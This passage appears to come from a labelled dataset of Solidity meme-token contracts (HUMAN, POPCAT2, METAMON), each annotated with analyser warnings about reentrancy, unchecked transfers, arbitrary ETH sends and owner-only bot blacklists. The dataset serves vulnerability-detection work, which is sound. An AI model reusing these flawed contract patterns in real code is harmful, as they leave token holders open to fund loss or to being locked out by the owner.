call.\n\t// Recommendation for e9fef0e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d9625eb): HUMAN.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for d9625eb: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 4b8efa5): HUMAN.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 4b8efa5: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d19c174): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d19c174: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: e9fef0e\n\t\t// reentrancy-eth | ID: d19c174\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: e9fef0e\n\t\t// unused-return | ID: 4b8efa5\n\t\t// reentrancy-eth | ID: d19c174\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: e9fef0e\n\t\t// unused-return | ID: d9625eb\n\t\t// reentrancy-eth | ID: d19c174\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: e9fef0e\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: d19c174\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 4c705f3): HUMAN.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for 4c705f3: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external onlyOwner {\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: 4c705f3\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10810.sol",
"size_bytes": 20795,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract POPCAT2 is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f340864): POPCAT2._taxWallet should be immutable \n\t// Recommendation for f340864: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 54020e6): POPCAT2._initialBuyTax should be constant \n\t// Recommendation for 54020e6: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7beb029): POPCAT2._initialSellTax should be constant \n\t// Recommendation for 7beb029: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 22;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: c907374): POPCAT2._reduceBuyTaxAt should be constant \n\t// Recommendation for c907374: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 8;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9be8fa3): POPCAT2._reduceSellTaxAt should be constant \n\t// Recommendation for 9be8fa3: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 21;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0b6ce00): POPCAT2._preventSwapBefore should be constant \n\t// Recommendation for 0b6ce00: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 8;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Popcat 2.0\";\n\n string private constant _symbol = unicode\"POPCAT2\";\n\n uint256 public _maxTxAmount = 8413800000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8304831): POPCAT2._taxSwapThreshold should be constant \n\t// Recommendation for 8304831: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1c8a319): POPCAT2._maxTaxSwap should be constant \n\t// Recommendation for 1c8a319: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a4d59ea): POPCAT2.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for a4d59ea: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: dc6261c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for dc6261c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 90f3bf6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 90f3bf6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: dc6261c\n\t\t// reentrancy-benign | ID: 90f3bf6\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: dc6261c\n\t\t// reentrancy-benign | ID: 90f3bf6\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a0e2fa8): POPCAT2._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for a0e2fa8: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 90f3bf6\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: dc6261c\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1d7e2f7): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1d7e2f7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ccf1eef): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ccf1eef: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 1d7e2f7\n\t\t\t\t// reentrancy-eth | ID: ccf1eef\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 1d7e2f7\n\t\t\t\t\t// reentrancy-eth | ID: ccf1eef\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: ccf1eef\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: ccf1eef\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: ccf1eef\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 1d7e2f7\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: ccf1eef\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: ccf1eef\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 1d7e2f7\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 1d7e2f7\n\t\t// reentrancy-events | ID: dc6261c\n\t\t// reentrancy-benign | ID: 90f3bf6\n\t\t// reentrancy-eth | ID: ccf1eef\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 98234ec): POPCAT2.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 98234ec: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 1d7e2f7\n\t\t// reentrancy-events | ID: dc6261c\n\t\t// reentrancy-eth | ID: ccf1eef\n\t\t// arbitrary-send-eth | ID: 98234ec\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0fd670c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0fd670c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: e185d64): POPCAT2.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for e185d64: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 2dad7ba): POPCAT2.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 2dad7ba: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b9fcf9e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b9fcf9e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 0fd670c\n\t\t// reentrancy-eth | ID: b9fcf9e\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 0fd670c\n\t\t// unused-return | ID: 2dad7ba\n\t\t// reentrancy-eth | ID: b9fcf9e\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 0fd670c\n\t\t// unused-return | ID: e185d64\n\t\t// reentrancy-eth | ID: b9fcf9e\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 0fd670c\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: b9fcf9e\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10811.sol",
"size_bytes": 19539,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract METAMON is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: c527779): METAMON._taxWallet should be immutable \n\t// Recommendation for c527779: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n string private constant _name = unicode\"Metamon\";\n\n string private constant _symbol = unicode\"METAMON\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 128cd6a): METAMON._initialBuyTax should be constant \n\t// Recommendation for 128cd6a: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: a17a180): METAMON._initialSellTax should be constant \n\t// Recommendation for a17a180: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 14bcff3): METAMON._finalBuyTax should be constant \n\t// Recommendation for 14bcff3: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 46b6301): METAMON._finalSellTax should be constant \n\t// Recommendation for 46b6301: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: f9b8648): METAMON._reduceBuyTaxAt should be constant \n\t// Recommendation for f9b8648: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: c78b7e5): METAMON._reduceSellTaxAt should be constant \n\t// Recommendation for c78b7e5: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 26;\n\n\t// WARNING Optimization Issue (constable-states | ID: 69ff8a9): METAMON._preventSwapBefore should be constant \n\t// Recommendation for 69ff8a9: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 26;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 82138fe): METAMON._taxSwapThreshold should be constant \n\t// Recommendation for 82138fe: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 65c6b1c): METAMON._maxTaxSwap should be constant \n\t// Recommendation for 65c6b1c: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() payable {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b68c0ad): METAMON.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for b68c0ad: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6e3b857): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6e3b857: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 82847a8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 82847a8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 6e3b857\n\t\t// reentrancy-benign | ID: 82847a8\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 6e3b857\n\t\t// reentrancy-benign | ID: 82847a8\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 41693d6): METAMON._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 41693d6: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 82847a8\n\t\t// reentrancy-benign | ID: bf84fad\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 6e3b857\n\t\t// reentrancy-events | ID: 58113eb\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8dbc7a4): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8dbc7a4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 61dacd8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 61dacd8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero 